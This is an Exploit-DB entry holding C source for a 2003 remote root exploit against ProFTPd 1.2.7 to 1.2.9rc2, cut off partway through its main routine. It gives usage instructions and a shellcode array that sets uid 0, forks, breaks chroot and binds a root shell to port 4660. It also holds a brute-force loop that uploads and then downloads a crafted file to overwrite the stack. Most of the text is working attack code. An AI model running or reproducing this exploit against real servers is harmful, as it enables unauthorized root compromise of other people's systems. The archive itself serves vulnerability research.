Exploit-DB #110
Description: ProFTPd 1.2.7 < 1.2.9rc2 - Remote Code Execution / Brute Force
Type: remote
Platform: linux
Date: 2003-10-13
Author: Haggis

Exploit:
/*
ProFTPd 1.2.7 - 1.2.9rc2 remote r00t exploit
--------------------------------------------
By Haggis

This exploit builds on the work of bkbll to
create a working, brute-force remote exploit
for the \n procesing bug in ProFTPd.

Tested on SuSE 8.0, 8.1 and RedHat 7.2/8.0
it works quite well... the RedHat boxes
worked on stack addresses in the 0xbffff2xx
region; the SuSE boxes were somewhat earlier
in the stack space - around 0xbfffe8xx.

This is the only public version you'll see
from Haggis@Doris - but it is very likely
that more powerful private versions will
be coded.

At present, this exploit breaks chroot (if
any) and spawns a shell bound to port 4660.

----------

This version is best run like so:

./proft_put_down -t hostname -l localIP -U incoming

where:

hostname = target box
localIP = your IP address

-U incoming specifies that the exploit will attempt
to create an 'incoming' directory on the remote ftp
server and work inside that. Without it, the shell-
code will probably not work properly. You have been
warned!

It is possible to use other credentials for logging
in to remote servers; anonymous is the default.

H.
*/

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/tcp.h>

#define STACK_START 0xbfffef04
#define STACK_END 0xbffff4f0
#define FTP_PORT 21
#define BINDSHELL_PORT 4660
#define SIZE 1024
#define EXPLOIT_BUF_SIZE 65535
#define DEFAULT_USER "anonymous"
#define DEFAULT_PASS "ftp@"
#define FAILURE -1
#define SUCCESS 0
#define NORMAL_DOWNLOAD 1
#define EXPLOIT_DOWNLOAD 2
#define DOWNLOAD 3
#define UPLOAD 4
#define ACCEPT_TIMEOUT 5
#define SLEEP_DELAY 19999999

/*
Leet 0-day HaggisCode (tm)
*/
char shellcode[] =
// setuid(0); setgid(0);
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"

// fork() - parent terminates, killing proftpd and ending FTP
// session. This leaves the child process as a daemon...
"\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31"
"\xdb\x31\xc0\xb0\x01\xcd\x80"

// Finally, bind a shell to port 4660.
// This is a hacked version of the bindshell code by BigHawk.
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68\x12\x34\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
"\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
"\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68\x2e\x2f\x61\x61\x89\xe3\x51\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

int controlSock, passiveSock;
int currentPassivePort=32769;
int currentServerPort=31337;
int exploitBufLen;
int attemptNumber=0;
int ftpPort=FTP_PORT;
unsigned int stackWriteAddr, retAddr;
char serverBuf[SIZE];
char exploitBuf[EXPLOIT_BUF_SIZE];
char uploadPath[SIZE]="";
char filename[SIZE*2];
char *server=NULL;
char *user=DEFAULT_USER;
char *pass=DEFAULT_PASS;
char *localIP=NULL;
char errorBuf[SIZE];

int connect_to_server(int port);
int login_to_server();
int set_passive_mode(int mode);
int set_ascii_mode();
int set_path_and_filename();
int check_for_linefeed();
int check_status();
int create_passive_server();
int create_exploit_buffer();
int upload_file();
int download_file(int mode);
void usage(char *s);
int do_remote_shell(int shellSock);
void status_bar(char *info);
int timeout_accept(int s, struct sockaddr *sa, int *f);
void my_send(int s, char *b, ...);
void my_recv(int s);
void my_sleep(int n);
void doris_chroot_breaker();

int main(int argc,char **argv)
{
int sleepMode=0;
char c;
unsigned int stackStartAddr=STACK_START;

if(argc<2) usage(argv[0]);
while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) {
switch (c) {
case 't':
server=optarg;
break;
case 'u':
user=optarg;
break;
case 'p':
pass=optarg;
break;
case 'l':
localIP=optarg;
break;
case 's':
sleepMode=1;
break;
case 'U':
strncpy(uploadPath,optarg,SIZE);
break;
case 'P':
ftpPort=atoi(optarg);
break;
case 'S':
stackStartAddr=strtoul(optarg, NULL, 16);
break;
default:
usage(argv[0]);
return 1;
}
}
if(server==NULL || localIP==NULL)
usage(argv[0]);

printf("proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit\n");
printf(" by Haggis (haggis@haggis.kicks-ass.net)\n");

doris_chroot_breaker();
for(stackWriteAddr=stackStartAddr; stackWriteAddr<STACK_END; stackWriteAddr+=4, attemptNumber++) {

if(check_for_linefeed()==FAILURE)
continue;

retAddr=stackWriteAddr+200; // good enough for show business

if((controlSock=connect_to_server(ftpPort))==FAILURE) {
perror("\n\nFailing to connect to remote host\n");
exit(1);
}

if(login_to_server()==FAILURE) {
close(controlSock);
printf("\nERROR: Login failed.\n");
exit(1);
}

if(set_passive_mode(UPLOAD)==FAILURE)
goto err;
if(set_ascii_mode()==FAILURE)
goto err;
if(set_path_and_filename()==FAILURE)
goto err;

// create the buffer containing RET for this
// brute-force iteration
create_exploit_buffer();

if(upload_file()==FAILURE)
goto err;
close(controlSock);

// Connect again, then login, set ASCII mode and download the exploit file.
// This will trigger the overflow; as a result, we've
// corrupted the memory pool of this session and when we
// download the file again, the stack area will be overwritten
// and we control the saved EIP.

if((controlSock=connect_to_server(ftpPort))<0) {
perror("\nFailed to connect to remote host\n");
exit(1);
}

login_to_server(user,pass);
set_path_and_filename();
if(set_ascii_mode()==FAILURE)
goto err;
if(set_passive_mode(DOWNLOAD)==FAILURE)
goto err;
if(sleepMode)
sleep(10);
if(download_file(NORMAL_DOWNLOAD)==FAILURE)
goto err;

// Finally, read the file again. This will trigger the stack
// overwrite